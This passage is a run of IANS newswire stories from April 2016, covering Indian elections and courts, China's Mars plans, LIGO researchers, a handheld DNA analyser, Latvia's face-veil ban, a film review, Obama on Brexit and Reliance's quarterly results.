The team recently combined PAWS with a new tool called CAPTURE (Comprehensive Anti-Poaching Tool with Temporal and Observation Uncertainty Reasoning) that predicts attacking probability even more accurately.

The researchers presented the findings at the "AAAI Conference on Artificial Intelligence" in Arizona recently.

--IANS

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A known face in south Kolkata's Jadavpur for championing the cause of disappearing water bodies, environmentalist Mohit Ray hopes to carry forward his activism since college days to mainstream politics as a BJP candidate contesting the West Bengal assembly polls from the constituency.

"Locals have helped me in preserving water bodies and they know me well. I have worked on human rights issues extensively in Bengal and in Bangladesh. So joining the BJP is an extension of my activism for a pluralistic democratic government," Ray, who holds a PhD for his research on environment from Jadavpur University, told IANS.

Born into a refugee family, Ray, armed with a post graduate degree in chemical engineering from the University Of Manchester, UK, is an established name in the field of Environmental Impact Assessment (EIA) and has worked for 15 years with two internationally renowned environmental consultancy organisations.

As a priority he intends to push for maintenance of canals and strengthening drinking water supply in Jadavpur, in South 24-Parganas district, if he wins.

"In some areas there is a drinking water problem. There is a huge loss of water from supply lines. Canals are also not maintained and they need to be improved. In addition, I want to look into the problems related to urbanisation and development (mushrooming promoters etc.) along the EM Bypass route leading from Jadavpur," he said.

In a constituency that is home to over 2.6 lakh (2,69,638) voters, Ray is pitted against West Bengal's ruling Trinamool Congress candidate Manish Gupta, also the state's power minister, and Communist Party of India-Marxist (CPI-M) veteran leader Sujan Chakraborty, a doctorate in pharamaceutical science.

This is a constituency which witnessed history being made in 1984.

Asked about the criticism levelled at the Bharatiya Janata Party (BJP) for allegedly compromising environmental protection and clearing the way for developmental projects, Ray conceded it was a matter of concern.

"Any country, in general faces this. I can take up the issue," he added.

Jadavpur goes to the polls in the fifth phase on April 30.
China is aiming to launch its first mission to Mars around 2020, the director of the National Space Administration said on Friday.

"The probe is expected to orbit the red planet, land and deploy a rover all in one mission, which is quite difficult to achieve," said Xu Dazhe at a press conference, Xinhua news agency reported.

Xu revealed that the mission was approved by central authorities in January.

Stressing on the mission's importance and difficulty, he said although China has sent spacecraft deep into space, "only by completing this Mars probe mission can China say it has embarked on the exploration of deep space in the true sense".

--IANS

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The External Affairs Ministry said on Friday the central government was committed to bringing liquor baron Vijay Mallya back in India to face justice.

"The government is committed to bringing Vijay Mallya back to face justice. We are considering steps for Mallya's deportation," foreign ministry spokesman Vikas Swarup told the media here.

He said Mallya had responded to show cause notice and the government was consulting legal experts on the Enforcement Directorate's (ED) request for the deportation of Mallya, who owns more than Rs.9,000 crore of various Indian banks.

--IANS

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Former chief minister Harish Rawat has said the High Court's Thursday order setting aside the President's Rule in his state was "a big decision for federal politics".

"The (high court) decision has made history. Judiciary has given a big decision for federal . It has proved it's the custodian of the common man," Rawat said in an interview to ETV in Dehradun on Thursday soon after the high court verdict.

He said the high court order had also strengthened cooperative federalism.

The Congress leader said he was confident of proving majority on the assembly floor on April 29, as directed by the high court.

Since the people had given the Congress a mandate in the state, he should be allowed to run the state government, Rawat said in the interview

The Supreme Court on Friday ordered that the high court verdict be kept in abeyance till April 27.

The Congress leader said the state had been adversely impacted through "horse trading", imposition of President's Rule and deviation from the path of development.

"I will appeal to the opposition (BJP) that I have got the mandate. So, they should let me work. They can support me for the state's development. We had given a developmental roadmap for the state," he said.

Rawat also sought the Centre's cooperation in efforts to boost Uttarakhand's progress.

He said he was working on plans to increase resources, impart skills to the youth and create job opportunities.

On allegations regarding horse-trading on the basis of a sting operation, Rawat said it was "fake" and an alibi to impose the President's Rule in the state.

"I am ready to face any investigation," he said.

The Congress leader said the fight was not his alone but that of the people. "I am confident we will prove our majority on April 29," he said.
The BJP on Friday accused the Congress and former home minister P. Chidambaram of "compromising national security" for their political gains.

"In this era of global terrorism, when India is among its biggest victims, the Congress has practised very low-level and compromised on national security for its political gains," BJP spokesperson Sudhanshu Trivedi told the media at the party headquarters here.

He questioned as to how could the Congress humiliate an entire community through the term "Hindu terror".

"The BJP as a party has never associated terrorism with any particular community, sect or religion. But the Congress functionaries, for their political gains, repeatedly used the term 'Hindu terror' and 'saffron terror'," Trivedi said.

"How can you associate a colour which is part of our national flag with terrorism?" he said.

In the context of Ishrat Jahan shootout and Samjhauta Express blast, Trivedi said that although the National Investigation Agency lodged the First Information Reports (FIRs) in 2011, but the Congress leaders had started using the term 'Hindu terror' back in 2009.

"Was it premonition or was it their prejudice coming to the fore," Trivedi asked.

Raking up the Ishrat Jahan case, Trivedi said that Chidambaram must tell whether he informed - and if yes, at what point - the then prime minister Manmohan Singh and the UPA chairperson Sonia Gandhi "when the altered the second affidavit" that made "investigative agencies took a sudden U-turn" on the Ishrat Jahan case.

Trivedi also alleged that the Congress had communalised the country's education system, apart from the process of disbursing bank loans on communal lines.

--IANS

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A court here on Friday rejected the plea on one of the accused in the Danish woman's gang rape case for examining doctors on his potency.

Additional Sessions Judge Ramesh Kumar dismissed the application filed by the counsel of Shyam Lal, who died in February in the Tihar jail here. Proceedings against him in the case were abated thereafter.

The court fixed April 26 for hearing final argument of the case.

Arjun, Raju alias Chhakka, Mohammad Raja, Mahendra alias Ganja, Raju alias Bajji and Shyam were accused of robbing and raping the Danish woman at knife-point near New Delhi railway station in January 2014 after she sought directions to her hotel in Paharganj.

Besides, three minors are also facing proceedings before the Juvenile Justice Board in the case.

Police said all the accused are vagabonds who took the woman to an isolated spot near the Divisional Railway Officers' Club close to the railway station, took away her belongings and then raped her.

--IANS

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The Municipal Corporation of Faridabad has submitted its final Smart City Proposal entailing a projected expenditure of Rs.2,600.01 crore to the urban development ministry, a senior official said on Friday.

The revised proposal was prepared after consultation with local residents, collection of details and meetings with officers of different state government departments, Urban Local Bodies Department Principal Secretary Anil Kumar said.

Faridabad was shortlisted as one of the fast-track cities for 'Smart City' status by the ministry.

He said the projected expenditure was for area-based development, smart mobility initiative, smart and sustainable civic infrastructure initiatives, smart urbanism and pan-city solutions.

Kumar said several projects identified will generate direct revenue, including rental, of Rs.39.12 crore per annum. Public parking revenue has been estimated at Rs.6.20 crore per annum while land monetisation initiatives are expected to generate one-time revenue of Rs.428.38 crore.

He said the revised SCP included a vision statement -- creating economic impact through Transit Orient Development and Smarter Mobility and Urbanism for social and environmental benefits.

Karnal and Gurgaon in Haryana are also to be developed as smart cities.

--IANS

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Five people were killed in a fire in a house in Russia's Omsk region of Siberia on Friday, said the Investigative Committee of the Russian Federation.

A cigarette that was not stubbed out properly caused the fire, Xinhua news agency reported quoting the committee's statement.

The dead included three men and two women, said the committee, adding that a man and a woman were related and the three others were their guests.

--IANS

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Four youth drowned in the Krishna river in Andhra Pradesh's Krishna district, police said on Friday.

They went to the river at Vishwanathapalli village in Koduru mandal on Thursday night for bathing. They drowned as they apparently could not swim, police said.

The bodies were fished out by divers on Friday.

The youth hailing from Guntur district had come to the village to participate in a local temple festival.

--IANS

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Thrilled at the detection of the elusive gravitational waves a century after Albert Einstein's prediction and the first observation of collision of two black holes at the Interferometer Gravitational-wave Observatory (LIGO), two young US-based Indian researchers working on the project say the waves act as a sixth sense for humans to comprehend the universe.

In fact, these "ripples in the curvature of space and time" will provide information on the cosmos that wouldn't have been possible by peering through any kind of telescope, say Karan P. Jani and Nancy Aggarwal, who are elated at the prospect of India getting a third LIGO (observatory) and being at the forefront of new-age astrophysics.

Last month, India and the US signed an agreement for a new LIGO project in India during Prime Minister Narendra Modi's visit to Washington. The agreement was signed between India's Department of Atomic Energy and the US' National Science Foundation (NSF).

The prime minister also met Indian student scientists, including Aggarwal and Jani, associated with the LIGO project.

"Gravitational waves are a completely new way of seeing the universe. It's like humans can now perceive the sixth sense beyond the five, to comprehend the universe," Jani, a fourth year PhD researcher in astrophysics at the Georgia Institute of Technology, told IANS via email.

The gravitational waves were detected on September 14, 2015, by both of the twin LIGO detectors, located in Livingston, Louisiana, and Hanford, Washington. The LIGO Observatories are funded by the NSF and were conceived, built, and are operated by Caltech and the Massachusetts Institute of Technology (MIT).

Physicists have concluded that the detected gravitational waves were produced during the final fraction of a second of the merger of two black holes to produce a single, more massive spinning black hole. This collision of two black holes had been predicted but never observed.

Jani and Aggarwal explained the detectors led to "direct observation of existence of black holes as also a direct observation of mergers of two black holes into a bigger black hole."

"The energy released during collision was 50 times more than all the stars in the universe combined at that instance," added Jani, whose work involves simulating black holes on supercomputers and searching for massive black hole collisions in LIGO data.

The breakthrough was made by the LIGO Scientific Collaboration (LSC) (which includes the GEO Collaboration and the Australian Consortium for Interferometric Gravitational Astronomy) and the Virgo Collaboration using data from the two LIGO detectors.

The LSC currently includes over 1,000 members from 90 institutes and 16 countries. India is the third highest right now in terms of membership.

At the heart of the mammoth hunting game to catch the unicorn are tools called interferometers which work by merging two or more sources of light to create an interference pattern that can be measured and analyzed.

"It is a four km light interferometer... in fact LIGO is the most precise measurement ever done. This means a lot of technology research has to be done to make LIGO," Aggarwal, a fourth year Ph D student at MIT LIGO Lab, told IANS via email.

Aggarwal is studying quantum mechanics to improve the precision of gravitational wave detectors and is glad that the starting of the LIGO India project opens up a new opportunity for her to work in her native country.

"A lot of technological developments that were made for LIGO have found independent applications in science as well as industry and LIGO India will create a lot of opportunities for Indian scientists and engineers and improve the general scientific and technological environment," Aggarwal emphasised.

They hope to "share the discovery with a larger audience", a request put in by Modi during their meeting.

"During our meeting, the prime minister said he would like the LIGO scientists to make frequent India trips to popularize the science in colleges in India. We also talked about physics outreach in India for school children, the importance of hands-on demos and the importance of learning material in languages other than English," Aggarwal informed.

"Also, due to the participation, the travelling of Indian scientists abroad and international scientists to India will definitely strengthen the international relations for India," she said.

(Sahana Ghosh can be contacted at sahana.g@ians.in)
A Britain-based technology company has claimed to have developed a smartphone-sized handheld DNA analyser that may diagnose infectious diseases like tuberculosis (TB) in flat 15-20 minutes.

Running on a solar-powered battery, the low-cost handheld device called "Q-Poc" may analyse biological samples submitted via a small-sized cartridge, the Guardian reported.

Swabs can be used to detect sexually-transmitted infections (STIs) while sputum is used to detect TB, its makers claimed.

"We are now at the point that we have a working prototype that can perform a highly sensitive tuberculosis test from a sample through to results in 15-20 minutes," Jonathan O'Halloran, the company's co-founder, was quoted as saying.

According to its developers, "Q-Poc" analyses the DNA of pathogens rather than proteins within the sample.

The device uses microfluidic technology that allows fluids to pass through various microscopic channels.

A chemical process then breaks down the sample into a molecular soup. It is then sent through a nanoscale-based filter system that isolates the DNA for analysis.

The company plans to launch the product for the use by health care providers by as early as 2018.

The device will initially be used to detect TB. It has built-in smartlphone technology, enabling the results to be shared in real time.

"It sounds simple, but it is absolutely groundbreaking," O'Halloran added. Clinical trials of the device are planned in South Africa later this year.

--IANS

na/vt
India has been the fastest growing economy but the real challenge that lies ahead is to achieve 9-10 percent growth rate, NITI Aayog CEO Amitabh Kant said on Friday.

"FDI (foreign direct investment) into India has gone up by 48 percent at a time when FDI across the world has fallen by 16 percent. The challenge before India now is to grow at 9-10 percent for three decades or more," he said here at the 24th annual general meeting of American Chamber of Commerce in India (AMCHAM).

Kant however stressed that for India to grow at a 10 percent growth rate, it needs to become a very easy place to do business and embrace free trade and innovation.

"India needs to embrace free trade to penetrate its exports. India can grow only if investments come in and for that it has to be a part of the global supply chain. Basic essence of free trade and free investments must grow.

"India has opened up its multiple sectors from railways to pension funds to medical devices for foreign investment. India needs to do smart sustainable urbanisation and it will have to be in cooperation with the American companies. IBM, Cisco, Honeywell are top class global US companies that have done well in India. Honeywell could not have achieved the growth it has, had it not been for its growth in India," he said.

"We have opened our sectors. America too should open its service sectors for Indians as cooperation can't be one way," he said, adding that India will be the vanguard of the technological innovation that will happen.

"India needs to become an innovative society. We need to strengthen relationship with American universities. Future of India will depend on ability to design and innovate. US has a merit-based society. It is this merit-based society based on innovation is what India needs to capture, if it wants to grow at 9-10 percent growth rate," he said.

--IANS

mm/vd
Latvia has banned women from wearing the Islamic full-face veil in public, despite only three people being known to wear them in the entire country.

Authorities say the new legislation was necessary in order to protect Latvian culture and prevent terrorists from smuggling weapons under garments, reports the Independent.

The move follows a similar ban on full-face veils in public spaces implemented by France in 2011.

Latvia's Justice Minister Dzintars Rasnacs said the law - which he hopes will come into place by 2017 - was less to do with the number of women wearing the traditional niqab, but rather about ensuring prospective immigrants respect the country's values.

"A legislator's task is to adopt preventative measures," Rasnacs told the New York Times. "We do not only protect Latvian cultural-historical values, but the cultural-historical values of Europe."

Latvia - a small country with an estimated population of two million - agreed to accept 776 refugees over the next two years as part of the European Union's efforts to resettle refugees.

This week, French Prime Minister Manuel Valls sparked outrage for announcing plans to prohibit the wear of all forms of Muslim headscarves in universities.

Feminist groups reacted to the plans by organising a "niqab day" at a political sciences institute in Paris. Dozens of students wore veils handed out by the protesters at Sciences Po, to highlight discrimination faced by Muslim women.

There were thought to be around 1,000 practicing Muslims living in Latvia.

Speaking about the proposed ban, former Latvian president Vaira Vike-Freiberga said that those wearing a niqab or burqa "at a time of terrorism" presented a "danger to society".

"Anybody could be under a veil or under a burqa," she said. "You could carry a rocket launcher under your veil. It's not funny."

--IANS

ahm/
A group of 93 Japanese lawmakers on Friday visited the controversial Yasukuni shrine in Tokyo, which is seen as a symbol of the country's militaristic past.

The visit came a day after Prime Minister Shinzo Abe sent a ritual offering to the shrine to mark the start of Spring Festival, Efe news reported.

Visits by politicians to the shrine are often met with criticism from South Korea and China, which suffered Japan's wartime brutality and colonial rule during the 20th century.

It is a constant source of diplomatic tension between the neighbouring countries.

The members of parliament were led by Vice President of the Japanese Upper House Hidehisa Otsuji.

Visits to the shrine have become a custom of many Japanese politicians during the Spring Festival celebration.

Friday's visit comes one day after Abe sent a tree as a ritual offering to the sanctuary in a gesture protested by Seoul, which urged the Japanese government to make efforts to develop bilateral relations as the visits are viewed as a lack of remorse.

The Yasukuni shrine honours those who died for Japan between the late 19th century and 1945.

Among them were 14 political and military leaders convicted as class-A war criminals by the International Military Tribunal for the Far East at the end of the World War II.

During the early 20th century, Japan colonised the Korean peninsula, Manchuria, some regions of China and almost all of Southeast Asia.

--IANS

py/vt
The Centre on Friday approved assistance of Rs.842.7 crore for drought-hit areas of Karnataka and flood-hit areas of Puducherry and Arunachal Pradesh, agriculture ministry officials said.

"The decision was taken by a high-level committee chaired by Home Minister Rajnath Singh, which examined and endorsed the reports of a central team that visited the three states," a senior official told IANS.

The meeting was also attended by Finance Minister Arun Jaitley, Agriculture Minister Radha Mohan Singh, Home Secretary Rajiv Mehrishi and senior officers of home, finance and agriculture ministries.

Karnataka will get Rs.723.23 crore, Puducherry Rs.35.14 crore and Arunachal Pradesh Rs.84.33 crore.

"The assistance of Rs.84.33 crore for Arunachal includes Rs.18 crore under the National Rural Drinking Water Programme," the official said.

The agriculture ministry, in its own assessment and reports from states, says that 10 states, including Maharashtra and Karnataka, have declared drought.

More than Rs.10,000 crore has been given in central assistance to the affected states so far.

Telangana and Andhra Pradesh, reeling under intense heat wave, have both sought central assistance for those hit by drought and water scarcity.

The Andhra Pradesh government has urged the Centre to release Rs.10,000 crore to resolve its rural drinking water problem in the next three years. Telangana has placed a demand of Rs.3,000 crore as drought relief.

The Centre has so far sanctioned Rs.791 crore for Telangana, an official said.

--IANS

nd/tsb/vt
A fault in the pulley system of India's largest and tallest tricolour here has caused the national flag to fly half-mast, much to the embarrassment of the state.

The national flag at Pahari Mandir here is 66 feet in height and 99 feet in width. It weighs 60 kg and is hoisted on a 293-foot tall mast.

Since January 23 when it was hoisted by Defence Minister Manohar Parrikar in the presence of Jharkhand Chief Minister Raghubar Das, the towering national flag has been a sight like no other in the country.

That was until Sunday when a failure of the pulley system caused it to fly half-mast -- which should happen only when the country is in mourning.

The problem has been so complex that the Ranchi district administration has sought help from Indian Army to fix it.

"It seems the metal string used to raise the tricolour has slipped. Now the flag will have to be brought down. The army is trying to bring it down," a member of the committee that maintains the flag told IANS.

Flying the flag at half-mast without a reason is a violation of the Flag Code.

It now transpires that the national flag also got torn on a couple of occasions and had to be replaced.

The opposition parties are using the flag at half-mast to attack the BJP-led state government.

"The BJP talks about nationalism and then fails to maintain the sanctity of the national flag. Why is Raghubar Das not taking action against the people involved in the mismanagement?" Alok Dubey, general secretary of Congress in Jharkhand, said to IANS.

Jharkhand Mukti Morcha general secretary Supriyo Bhattacharya said: "There are some people in the flag management committee that are close to the government. The government should dare to take action against them."

--IANS

ns/kb/vt
West Bengal Chief Minister Mamata Banerjee on Friday hit out at the Election Commission yet again after it removed two top district officials in the state, ahead of the last three phases of polling.

Following complaints by the opposition parties, the EC removed South 24 Parganas district magistrate P.B. Salim and North 24 Parganas superintendent of police Tanmay Ray Chaudhuri.

"There are very few DMs as good as Salim. He too has been removed. They are very good officers, they have been doing good job. We are very proud of them," said Banerjee addressing a poll rally in Bally in the neighbouring Howrah district.

Canvassing for her party candidates in the district, Banerjee promised to turn Belur, which houses the global headquarters of the Swami Vivekananda founded Ramakrishna Math and Ramakrishna Mission, into a business hub.

The chief minister has been up in arms against the EC which has so far removed several top district and police officers including Kolkata police chief Rajeev Kumar, initiated police cases against controversial party leaders including Birbhum district president Anubrata Mondal besides show causing her for model code of conduct violation.

Strongly reacting to the poll panel's actions against her party, Banerjee on April 14 had accused the EC of "doing whatever the Congress, BJP and the CPI-M asks you to do."

--IANS

and/ssp/vd
A court here on Friday granted interim bail to a man who hurled a shoe at Delhi Chief Minister Arvind Kejriwal at a press conference earlier this month, as he is suffering from acute hepatitis.

Metropolitan Magistrate Abhilash Malhotra granted one month interim bail to Ved Prakash, in view of a medical report which confirmed that he is suffering from acute hepatitis.

"I found merits in the submission made by the counsel that accused needs specialised treatment to cure hepatitis and he needs to be cautious about the food, water and other fluids intake," the court said.

Directing Ved Prakash to maintain peace and good behaviour, it asked him to furnish a personal bond of Rs.25,000 and a surety of like amount and listed the matter for May 20 for further hearing.

The accused was on April 12 admitted to a hospital with a fever, decreased appetite, and spells of vomiting, and stayed there till April 16. On April 19, he was referred to gastroenterology department.

Ved Prakash of the Aam Aadmi Sena threw the shoe at Kejriwal, alleging fake CNG stickers were being distributed in Delhi ahead of the odd-even scheme but missed. He said he had video evidence of the "scam". Cars running on CNG are exempt from the scheme.

He said he was angry with Kejriwal for not taking action against those involved in alleged irregularities and that was the reason he hurled the shoe.

--IANS

akk/vd
N. Damayanti, a professor at a medical college here, has become the first anatomist from the northeastern region to become the president of the Anatomical Society of India.

She is one of the two anatomists to be made a prestigious Fellow of Anatomical Society of India for 2015. The fellowship will be given during the national conference of the ASI in November 2016.

Damayanti is professor and head of the anatomy department of Regional Institute of Medical Sciences (RIMS) here which is an autonomous institute under the union health ministry.

"I am happy that I am the first anatomist and recipient of the fellowship from the north-eastern region," Damayanti told IANS.

She secured third position in the MBBS examination under the Gauhati university. Damayanti also got the Presidential medal for best female medical graduate in 1984.

The All India Institute of Medical Sciences (AIIMS) deemed her best outgoing post graduate student in 1982.

She is the recipient of Dr. H.J. Mehta Memorial Gold medal for her papers published in the Journal of ASI for 2005 and Dr. Motilal memorial medal for her papers published in the Journal of ASI for 2011.

Sources at RIMS say had it not been for Damayanti's effort, the nursing and dental colleges would never have been a part of the institute.

"The union health ministry had closed the files on the two colleges. She saw to it that they were reopened and the colleges came into being," said an RIMS source.

--IANS

iboyaima/kb/vm
Film: "Nil Battey Sanatta"; Cast: Swara Bhaskar, Ratna Pathak Shah, Pankaj Tripathy, Riya Shukla; Director: Ashwiny Iyer Tiwari; Rating: ****

Swara's spontaneous unrehearsed seemingly uncomplicated interpretations of the most layered emotions is not only exemplary, it is a one-woman acting school on how not to like you are ?well, acting.

There are many sequences in the very oddly titled "Nil Battey Sanatta" where Swara sweeps you into her character's innermost world of melancholy and despair without making you drown in maudlinism.

Playing a domestic help Chanda who dreams of making her stubborn spoilt daughter Apeksha (confident newcomer Riya Shukla) into something bigger than destiny decrees for the poor, Swara delivers a virtuoso performance. She gets the minutest of Chanda's feeling on screen without screaming for attention.

Of course it helps that Swara has stunning support from her co-stars. Chanda's rapport with her thoroughly unlikable daughter, and more specially the easygoing kinship she shares with her employee (Ratna Pathak Shah) are signs of maturity and wisdom way beyond the film's placard-flashing theme on female literacy.

Yes, there is a message. And a very basic one at that. Girls need to get educated. Period.

Happily, the film is bogged down neither by its pedantic ambitions of making a statement, nor by the protagonist's financially challenged status in society. Yes, she is a domestic help. But her employee treats her as an equal. Yes, she lives in a one-room chawl in Agra with her daughter. But the two have a television set blaring out cheesy hits which they dance to when they want, and Chinese meals are ordered for celebrations when the occasion arises.

Director Ashwiny Iyer Tiwari keeps it simple. Simple and straight. Thankfully there are no bouts of furious sentimentality. Swara plays Chanda with feisty positivity and yet this is not a character or film that romanticizes poverty. It isn't even a lyrical celebration of destitution the way Satyajit Ray's "Pather Panchali" or Mira Nair's "Salaam Bombay!" was.

"Nil Battey Sanatta" occupies a world of half-finished dreams and smothered aspirations with a spirit of positivity that is the opposite of despair. Apart from a few false notes (for example the sequence when the daughter pipes in during class to eulogize over her mother's struggles, or that utterly unconvincing sequence where Chanda visits the excessively kind collector of the district, played with a sweet sincerity by Sanjay Suri, the debutante director strikes no false notes, covers no ground that the plot needn't cover.

The casting goes a long way in adding miles to the director's long-legged uncluttered narrative. Of course Swara holds centrestage confirming her place among the most significant contemporary actresses currently on the scene. But the rest of the cast, including the young boys and girls in the class that mother Chanda and daughter Apeksha attend together, are outstanding.

Ratna Pathak Shah and Pankaj Tripathy (the latter as the extremely benign school principal) remind us what capable actors can do to a worthy film. Riya Shukla as the stubborn daughter slips into an unlikeable part. It's the kind of sullen sulky daughter's role that Swara had played with conviction just two years ago in "Listen... Amaya".

The smallest of parts in this film are beautifully carved out. Chanda's neighbour Razia is barely there on screen. But she matters. Or Ratna Pathak's husband -- barely a shadow in the background. But nonetheless a character.

This morally uplifting inspirational heartwarming fable is a must watch, if only to see how difficult it is to be simple. And how much we miss those simply told tales of life by Hrishikesh Mukherjee and Basu Chatterjee.

--IANS

skj/nn/bg
Pakistan Prime Minister Nawaz Sharif has "assured" Jammu and Kashmir Liberation Front (JKLF) chairman Muhammad Yasin Malik that the Pakistan government will not change the constitutional status of Gilgit-Baltistan, which it occupies.

Replying a letter written to him by Malik in which the JKLF chief had expressed serious concern over news reports that Pakistan intended to change the constitutional status of Gilgit-Baltistan by merging the area with the rest of the country, thereby diluting the territorial status of parts of Jammu and Kashmir under its occupation, he assured no such change was in the offing.

Kashmiri separatist leaders spearheaded by Malik had expressed concern over reports saying that in order to extend China-Pakistan economic cooperation, Pakistan would first remove Gilgit-Baltistan from the territorial limits of the part of divided Kashmir under its administration and then provide a corridor to the Chinese through these border areas.

"I assure you that nothing would be done to change the constitutional status of Gilgit-Baltistan," Sharif has said in his letter to JKLF chief, dated March 18 but only recently delivered.

He also assured continued moral and diplomatic support to what he called "the freedom struggle of valiant people of Jammu and Kashmir".

--IANS

sq/vd
US President Barack Obama called on the British people on Friday to support their country's continued stay in the EU in the referendum scheduled for June 23.

In an article published on Friday in the Daily Telegraph, Obama, who arrived in London on Thursday on a three-day visit, stressed that Britain being part of the EU increases the country's prestige in the world, Efe news reported.

Obama's opinion on the EU debate is a boost to the campaign of British Prime Minister David Cameron in favour of the country staying in the EU, but has been criticised by supporters of Brexit, led by Mayor of London Boris Johnson, who believe that Obama should not intervene in Britain's affairs.

Independence Party leader Nigel Farage said Obama should stay home. "A monstrous interference," Farage told Fox News on Thursday. "I'd rather he stayed in Washington, frankly, if that's what he's going to do."

"You wouldn't expect British prime minister to intervene in your presidential election, you wouldn't expect Cameron to endorse one candidate or another. Perhaps he's another one of those people who doesn't understand what [the EU] is," Farage said.

London Mayor Boris Johnson -- born in New York -- has expressed strong support for the UK-US relationship, but he has accused Obama of hypocrisy.

"I just think it's paradoxical that the US, which wouldn't dream of allowing the slightest infringement of its own sovereignty, should be lecturing other countries about the need to enmesh themselves ever deeper in a federal superstate," Johnson said on Tuesday.

Prime Minister Cameron, however, has said that the advice of allies was welcome, and that "listening to what our friends say in the world is not a bad idea."

"I struggle to find the leader of any friendly country that thinks we should leave," he said on Wednesday.

Obama highlights the special relationship between his country and Britain. He said they "should be proud that the EU has helped spread British values and practices -- democracy, the rule of law, open markets -- across the continent and to its periphery".

"The EU doesn't moderate British influence -- it magnifies it. A strong Europe is not a threat to Britain's global leadership; it enhances Britain's global leadership," Obama said.

Obama will meet Cameron before giving a press conference, during which he is expected to reiterate his support Britain staying in the EU.

Cameron is in a difficult position, backing the "Remain" campaign, while many within his own Conservative Party are campaigning for the "Leave" or "Brexit" (British-Exit) campaign.

Polls show the race is tight, with the 'Remain' campaign holding an edge as small as one percent.

Obama is also scheduled to deliver birthday greetings to Britain's oldest and longest-serving monarch, 90-year-old Queen Elizabeth II, during a lunch on Friday.

He and Cameron will then fly to Germany for a summit with the German, Italian and French leaders on Monday about the future of Libya.

Obama has described Libya as his biggest foreign policy mistake, and there is now no quick way to persuade the many Libyan factions to unite behind a stable UN-backed government of national accord, the Guardian reported.

Three weeks after he arrived in the capital, Libya's Prime Minister Fayez al-Sarraj, was shunned by both an Islamist-led Tripoli government and the elected parliament in Tobruk.

The need to garner sufficient political support has led Sarraj to hold off from formally requesting western help, including allowing the west to operate in Libyan waters. His opponents are already accusing him of being a tool of the west.

--IANS

py/vt
President Pranab Mukherjee will pay a one-day visit to Manipur on Saturday to attend the Khongjom Day ceremony as well as inaugurate a monument-cum-tourist centre here.

Khongjom Day is observed on April 23 by the Manipur government to pay tributes to its brave sons who made the supreme sacrifice for the cause of their motherland.

The monument to be inaugurated by Mukherjee will commemorate the 125th anniversary of the Anglo-Manipur war of 1891 at Khongjom, now in Thoubal district and about 40 km from Imphal.

Security in Manipur has been beefed up in view of the president's visit. Central police forces will assist the state police in maintaining law and order.

Security forces have conducted combing operations though no arrests have been reported.

High officials from Delhi were camping in Imphal for the past few days to supervise the security and other arrangements for the presidential visit.

The president and his entourage along with Chief Minister Okram Ibobi Singh will reach Kheba hillock -- where the main function will be held -- in three Indian Air Force helicopters for security reasons.

"There may be some inconveniences to the people. However, the government appeals to one and all to attend the function after lunch to make it a grand success," the chief minister said.

--IANS

il/tsb/bg
Tourism industry leaders and workers here held a demonstration against a move by the central government to locate an international airport project at a place other than Agra.

On Thursday, they flew hundreds of colourful planes made of paper printed with a speech that, they said, Prime Minister Narendra Modi had delivered in which he had promised an international airport for the City of the Taj.

The union civil aviation ministry was now planning to site the international airport at Jewar in Gautam Budh Nagar district of Uttar Pradesh, ignoring Agra's long pending claim, said demonstrators.

"If any city in India has a just claim to an international airport, it is Agra which gets the maximum number of foreign tourists," said Rajiv Tiwari, president of the Federation of Travel Agents' Associations of India.

But successive governments had failed to provide regular air connectivity with Agra, he said.

"The present airport at Kheria needs to be upgraded and provided a new terminal building and the airlines told to start regular flights from all big cities to Agra," Tiwari said.

Kheria facility in Agra district is an Indian Air Force base-cum-public airport with very limited connectivity.

--IANS

brij/kb/bg
Rashtrapati Bhavan will host 13 central university teachers from Saturday for a week, an official statement said on Friday.

"The second batch of 13 inspired teachers from central universities across the country will stay at Rashtrapati Bhavan for a period of seven days from April 23-29, 2016, as part of an 'in residence' programme," the statement said.

It said the first batch of 31 teachers stayed for a week at Rashtrapati Bhavan last June.

The in-residence programme for teachers was instituted by the President at the annual conference of vice chancellors of central universities on February 5, 2015, said the statement, adding similar programmes exist for writers, artists, grass root innovators and NIT students.

It also mentioned that university teachers, during their stay at Rashtrapati Bhavan, will interact with various union ministers and senior government officials as well as visit educational institutions in Delhi-NCR.

"They will also participate in various activities of Rashtrapati Bhavan."

--IANS

rak/sd/vt
India's largest private company, Reliance Industries, on Friday said its consolidated profits for the quarter ended March 31 were 16.9 percent up at Rs.7,398 crore on improved margins, beating the market expectation of around Rs.7,000 crore.

The consolidated net profit for the year as a whole for the refining-to-retail conglomerate stood at Rs.27,630 crore, up 17.2 percent. In a regulatory filing, it also reported a seven-year high gross refining margin of $10.8 per barrel, against $8.6 per barrel in 2014-15.

The consolidated turnover for the year, however, was down -- falling to Rs.269,091 crore, against Rs.388,494 crore in the previous year -- a decrease of 23.8 percent. This was attributed to a sharp fall in feedstock and product prices during the year,

But total expenses fell sharply down to Rs.245,203 crore from Rs.349.618 crore.

This was coupled with a record thoroughput of 69.6 million tonnes in the refining business at a capacity utilisation of 112 percent during the year. The refining earnings before interest and tax was up as much as 49 percent at Rs.23,598 crore.

All this helped the company's earnings per share, on a face value of Rs.10, to move up to Rs.93.8 to from Rs.80.1.

"Financial year 2015-16 has been a year of outstanding achievement for our downstream hydrocarbon businesses, notwithstanding persisting global economic uncertainty. Refining and petrochemicals delivered record operating and financial performances," chairman Mukesh Ambani said in a statement.

"Our refineries sustained double-digit gross refining margins and record levels of utilization through the year. Our balanced petrochemical portfolio, across products and feedstocks, helped capture benefits of vastly improved naphtha cracking economics and favourable polymer markets."

He was, however, silent on the specifics of the launch of Jio 4G services. "The commercial roll-out of our Jio services this year will digitally enable a billion Indians and propel growth for India and Reliance," is all that he said.

In petrochemicals, the volumes growth was up 12 percent at 24.7 million tonnes, reflecting the start-up of purified terephthalic acid and polyethylene terephthalate capacities. The earnings before interest and tax for this business expanded by 380 basis points to 12.4 percent.

The retail business also saw the sales grow -- up 22.5 percent at Rs.21,612 crore for the year. The number of stores across the country also expanded to 3,245 in 532 cities, an addition of 624 stores, the company said after a meeting of its board of directors.

Like it has done in the past, the results were announced well after the close of stock markets in India -- where the company's scrip fell Rs.2.15, or 0.21 percent, at Rs.1038.75 on the BSE and on the National Stock Exchange by Re.0.65 or 0.06 percent, to Rs.1,040.50.

In keeping with the Mukesh Ambani group's major foray into digital services, the company also made provision for live streaming of results over some top global social media networks: YouTube, Facebook, Twitter and Periscope, the last being a fresh platform for the company's results.

--IANS

ap/vt
San Francisco Mayor Ed Lee has signed a paid parental leave ordinance, making it the first in the US that requires full pay for parents on leave to care for their new babies.

